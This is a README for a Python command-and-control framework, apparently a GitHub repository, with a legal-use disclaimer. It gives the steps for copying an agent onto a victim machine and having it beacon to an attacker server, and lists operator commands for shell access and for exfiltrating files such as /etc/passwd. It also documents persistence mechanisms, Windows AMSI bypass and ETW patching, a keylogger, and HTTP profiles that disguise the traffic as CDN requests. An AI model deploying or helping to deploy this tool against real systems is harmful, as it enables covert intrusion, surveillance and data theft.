A complete, self-contained Command & Control framework written in pure Python standard library. Zero pip installs on the victim. One file to deploy. TLS-encrypted. Cert-pinned. Multi-operator with RBAC.
⚠️ LEGAL USE ONLY — READ THIS FIRSTThis tool is for authorized penetration testing, red team engagements, CTF competitions, and lab research only.
You must have explicit, written permission from the owner of any system you test with this software. Unauthorized access to computer systems is illegal under laws including (but not limited to) the U.S. Computer Fraud and Abuse Act (CFAA), the UK Computer Misuse Act, and the EU Directive on Attacks Against Information Systems.
The author(s) accept no liability for misuse, damage, or legal consequences arising from the use of this code. You are solely responsible for your actions.
- Features
- Architecture
- Requirements
- Quick Start
- Deployment
- Command Reference
- Modules
- Transports
- Security Model
- Operator Roles
- Malleable Profiles
- Troubleshooting
- FAQ
- License
The victim runs one file (agent.py) using only Python's standard library. No pip, no cryptography, no requests, no compiler, no internet connection. If a machine has Python 3.8+, it runs.
All traffic is encrypted with TLS 1.2+ (AES-256-GCM, Ephemeral Diffie-Hellman key exchange — perfect forward secrecy). The agent pins the server certificate by SHA-256 fingerprint, preventing MITM attacks even on hostile networks.
- TCP+TLS (port 4444) — persistent socket, lowest latency
- HTTPS (port 8443) — blends with web traffic, egress-firewall friendly
- Operator TLS (port 5555) — separated management plane
- Local admin console (runs on server)
- Remote operator CLI with RBAC login
- Three roles:
admin,operator,viewer - SQLite backend
- Malleable HTTP profiles
- Loot storage with per-agent namespacing
- Offline watchdog (agents auto-marked dead after 5 min)
Shell, sysinfo, ps, env, download, upload, persistence (cron/rc/systemd/registry/schtask/startup/launchagent), privilege escalation enumeration, AMSI bypass, ETW patching, screenshot (optional), keylogger (optional).
┌──────────────────────────────────────┐
│ teamserver (server.py) │
│ │
┌──────────┐ │ ┌──────────┐ ┌──────────────┐ │
│ agent │─────┼──▶│ TCP+TLS │ │ HTTPS │ │
│ (victim) │ │ │ :4444 │ │ :8443 │ │
│ 1 file │ │ └──────────┘ └──────────────┘ │
│ pure std │ │ │
└──────────┘ │ ┌──────────┐ ┌──────────────┐ │
│ │ Operator │ │ SQLite │ │
┌──────────┐ │ │ TLS :5555│ │ (c2.db) │ │
│ operator │─────┼──▶│ │ └──────────────┘ │
│ remote │ │ └──────────┘ │
└──────────┘ │ │
│ ┌─────────────────────────────────┐│
│ │ Local admin console (terminal) ││
│ └─────────────────────────────────┘│
└──────────────────────────────────────┘
| Component | Requirement |
|---|---|
| Server | Python 3.8+ · openssl command or cryptography pip package (one of the two, only for TLS cert generation) |
| Victim | Python 3.8+ only — nothing else |
| Operator | Python 3.8+ |
That's the entire dependency list. No requirements.txt needed.
git clone https://github.com/ravichandran3/Python-C2-Framework.git
cd Python-C2-Framework
python3 server.py
# First run:
# - Prompts to set admin password
# - Auto-generates server.crt + server.key
# - Prints cert fingerprint (COPY THIS)
# - Starts listeners on 4444, 8443, 5555The server prints:
════════════════════════════════════════════════════════════════════
Server cert SHA-256 fingerprint:
a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2
Copy this to the victim:
python3 agent.py --host <THIS_IP> --cert-fp a1b2c3d4...
════════════════════════════════════════════════════════════════════
Copy only agent.py to the victim:
# From attacker machine
scp agent.py user@victim:/tmp/Then on the victim:
python3 /tmp/agent.py --host <SERVER_IP> --cert-fp <FINGERPRINT>That's it. The agent registers, appears in list, and starts beaconing.
On the attacker (server terminal):
[c2:none] > list
[c2:none] > use <agent_id_prefix>
[c2:<id>] > sysinfo
[c2:<id>] > shell whoami
[c2:<id>] > download /etc/passwd
| File | Attacker | Victim |
|---|---|---|
server.py |
✅ | ❌ |
agent.py |
✅ | |
common.py |
✅ | ❌ (agent is self-contained) |
operator.py |
✅ | ❌ |
stager.py |
✅ (optional) | |
server.crt |
✅ (auto-generated) | ❌ |
server.key |
✅ (auto-generated, KEEP SECRET) | ❌ |
c2.db |
✅ (auto-generated) | ❌ |
Before running the agent, verify:
- Python 3.8+ exists on the victim:
python3 --version - Network reachable: from the victim,
python3 -c "import socket; socket.create_connection(('SERVER_IP', 8443), timeout=5)"succeeds - Cert fingerprint copied correctly from server banner
- No
pip installneeded — verify:python3 -c "import ssl, socket, http.client, json, base64, hashlib, subprocess, platform, uuid; print('ok')"printsok
That's all. The agent will retry every 10s → 20s → 40s → … → 300s max.
This is the default — the agent has no external dependencies. It will run identically with or without internet.
If the victim doesn't have Python at all, you have three options (outside the scope of this framework):
- Deploy the machine's system Python if it exists (most Linux/macOS have it)
- Use an alternative language agent (Go, C) that compiles to a native binary
- PyInstaller the agent on the attacker (adds ~15 MB, but bundled Python)
Options 1 and 2 are professional; option 3 is what most people do.
screenshot and keylog_* require optional packages only if you use those commands:
| Module | Extra package on victim |
|---|---|
screenshot |
pip install pillow (or the import/scrot command on Linux) |
keylog_start |
pip install pynput |
You don't need either for shell, download, upload, sysinfo, privesc, persistence, AMSI, or ETW. Those work with zero extra installs.
If the victim has no internet, just don't use those two modules — or drop the wheel onto the victim manually (pip download on attacker → scp → pip install --no-index --find-links=. pillow pynput).
| Command | Description |
|---|---|
list |
Show all agents |
use <prefix> |
Select agent by ID prefix |
back |
Deselect |
| Command | Description |
|---|---|
shell <cmd> |
Execute shell command |
sysinfo |
Hostname, user, OS, arch, PID, machine_id |
ps |
Process list (tasklist/ps aux) |
env |
Environment variables |
download <remote> |
Exfil file → loot/ |
upload <local> <remote> |
Push file to agent |
persist <kind> |
See persistence table below |
privesc |
Privilege escalation enumeration |
amsi |
Windows AMSI bypass |
etw |
Windows ETW patch |
screenshot |
Screen capture (needs pillow) |
keylog_start / dump / stop |
Keylogger (needs pynput) |
results |
Recent results for selected agent |
| Kind | OS | Mechanism |
|---|---|---|
cron |
Linux/macOS | User crontab, every 10 min |
rc |
Linux/macOS | ~/.bashrc append |
systemd |
Linux | user systemd service |
registry |
Windows | HKCU\...\Run |
schtask |
Windows | Scheduled task every 30 min |
startup |
Windows | Startup folder copy |
launchagent |
macOS | LaunchAgent plist |
| Command | Description |
|---|---|
list_operators |
Show all operators |
add_operator <u> <p> <role> |
Add operator (admin/operator/viewer) |
remove_operator <u> |
Remove operator |
| Command | Description |
|---|---|
list_profiles |
Show all profiles |
add_profile <path.json> |
Add profile from JSON file |
| Module | Platform | Description |
|---|---|---|
shell |
all | subprocess.run with 180s timeout |
sysinfo |
all | Platform info via platform |
ps |
all | tasklist / ps aux |
env |
all | Dump os.environ |
download |
all | Base64-encode file (a few MB max) |
upload |
all | Base64-decode + write |
persist |
all | Cron/rc/systemd/registry/schtask/startup/launchagent |
privesc |
all | id, sudo -l, SUID scan, kernel, cron (Linux) / whoami /priv, systeminfo, unquoted service paths (Windows) |
amsi |
Windows | Patches AmsiScanBuffer |
etw |
Windows | Patches EtwEventWrite (32/64-bit aware) |
screenshot |
all | Pillow or ImageMagick/scrot |
keylog_start/dump/stop |
all | pynput.keyboard.Listener |
- Single persistent socket
- 4-byte big-endian length prefix on every message
- Server replies on same connection
- Fastest, but easier for NDR to spot (persistent outbound TLS)
- Stateless POST requests, one per message
X-Agent-Tokenheader authenticates beacon/result- Blends with web traffic
- Egress-firewall friendly
| Speed | Evasion | Persistence on wire | |
|---|---|---|---|
| TCP+TLS | fastest | low | one long-lived connection |
| HTTPS | fast | best | repeated POSTs |
All traffic is encrypted by TLS 1.2+ (Python's ssl module uses OpenSSL under the hood, which provides AES-256-GCM, ChaCha20-Poly1305, and X25519/ECDHE ephemeral key exchange by default). Perfect forward secrecy is enabled — capturing the traffic and the server key later still does not decrypt the traffic.
The agent pins the server certificate's SHA-256 fingerprint. On connection, the agent hashes the peer DER cert and compares it to the pinned value. Any MITM must present a certificate whose fingerprint matches, which requires knowing the server's private key.
After registration, the server issues a random 24-byte session token. The token is required for every beacon and every result submission. Tokens are rotated on every reconnect. The token lives in memory only on the agent side (never written to disk).
- No app-layer crypto. If you need protection against full traffic capture with future quantum compromise, add post-quantum KEM on top.
- No agent code signing. If the victim has EDR that checks binary signatures, consider that a separate engagement problem.
- No sandbox escape. The agent runs as the same user that launched it. For privilege escalation, use the
privescmodule + manual work.
| Action | viewer |
operator |
admin |
|---|---|---|---|
list / use / results |
✅ | ✅ | ✅ |
| Task agents | ❌ | ✅ | ✅ |
| Manage operators | ❌ | ❌ | ✅ |
| View profiles | ✅ | ✅ | ✅ |
| Add profiles | ❌ | ❌ | ✅ |
Passwords are hashed with PBKDF2-HMAC-SHA256, 200,000 iterations, stored as salt:hash in the operators table.
A malleable profile changes the HTTP URIs and headers the agent uses, so requests blend with target-specific web traffic.
{
"name": "cloudflare_cdn",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"register_uri": "/cdn-cgi/trace/auth",
"beacon_uri": "/cdn-cgi/trace/refresh",
"result_uri": "/cdn-cgi/trace/log",
"headers": {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"X-Forwarded-For": "127.0.0.1"
}
}Register it from either console (admin only):
[c2:none] > add_profile /path/to/profiles/cloudflare.json
Note: currently the agent uses hard-coded default URIs (/api/v1/auth/login etc.). To use a custom profile, edit HttpsTransport.REGISTER_URI and BEACON_URI and RESULT_URI in agent.py to match the profile's URIs on the server.
- Check the victim can reach the server port:
python3 -c "import socket; socket.create_connection(('SERVER_IP', 8443), timeout=5)" - Verify the cert fingerprint exactly matches (copy-paste from banner)
- Check the server console — registration attempts print to server stdout
The pin doesn't match. Either:
- Copy-paste error — recopy from server banner
- Server regenerated its cert (deleted
server.crt/server.key) — recopy - MITM — verify network
The X-Agent-Token is missing or wrong. The token is issued once at registration and rotated on reconnect. If this happens repeatedly:
- The server may have been restarted (in-memory tokens lost)
- The agent was re-registered as a new machine (new
machine_id)
Fix: just wait — the agent reconnects and gets a fresh token.
The BEACON_TIMEOUT = 300 seconds watchdog marks agents dead after 5 minutes of no beacon. If your agent is slower than that (very high jitter), increase BEACON_TIMEOUT at the top of server.py.
Those two modules need pillow and pynput. If the victim has no internet:
# On attacker
pip download -d ./wheels pillow pynput --platform win_amd64 --python-version 3.11 --only-binary=:all:
# Copy wheels to victim, then
pip install --no-index --find-links=./wheels pillow pynputOr use the stdlib alternatives:
screenshoton Linux:apt install scrot→ works without pillowkeylog_start: only via pynput (no stdlib alternative)
sudo lsof -i :4444
kill <PID>
Q: Does the victim need internet? No. The agent has zero external dependencies. It only needs to reach the server over the local network.
Q: Does the victim need pip install?
No. The victim runs python3 agent.py with zero installs.
Q: Which file goes on the victim?
Just agent.py. That's it.
Q: Which file goes on the attacker?
Everything except agent.py goes on the attacker. Copy agent.py from the attacker to the victim.
Q: Is the traffic encrypted? Yes — TLS 1.2+ with AES-256-GCM. Equivalent to the encryption of any modern HTTPS website.
Q: What happens if the server key is compromised? If the attacker captured past traffic, TLS with perfect forward secrecy means past sessions stay encrypted. Future sessions are compromised.
Q: What if the victim doesn't have Python at all? Then this framework won't work — you need a compiled binary. Options are Go/C agent, or PyInstaller bundling. Python 3.8+ is common on Linux/macOS; on Windows it's less common (but Python-based tools often work if the target has Python from some dev workflow).
Q: Can I add a new module?
Yes. Add a handler function in agent.py _execute_task() dispatch, and a whitelist entry in server.py process_command. That's it.
This project is source-available, not open-source.
Copyright (c) 2026 [Your Name]. All rights reserved.
This software is licensed under the Polyform Strict License 1.0.0 (LICENSE file in this repository).
- View the source code.
- Use the software for personal, non-commercial purposes (research, private study, testing, hobby projects, educational use).
- Modifying, altering, or creating derivative works based on this software.
- Distributing or redistributing this software (or any portion of it) to any third party, in any form.
- This license is free. You do not need to purchase anything. The Polyform Project publishes it at no cost for anyone to use. [reference:0]
- This license makes your project "source-available," not "open-source." Open-source licenses (MIT, Apache, GPL, etc.) all allow modification and redistribution. The Polyform Strict license does not.
- GitHub's platform features (like forking) operate under GitHub's Terms of Service, not your license. While your license legally prohibits modification and redistribution, GitHub may still allow users to "fork" your repository on the platform. The license restricts what they can legally do with that fork.
This software is provided for authorized security testing and educational purposes only. You must have explicit, written permission from the owner of any system you test. Unauthorized use is illegal.
If you discover a security issue in this project, please open an issue on this repository. Please do not use this tool against systems you do not own or have explicit permission to test.
Use at your own risk. You are solely responsible for your actions.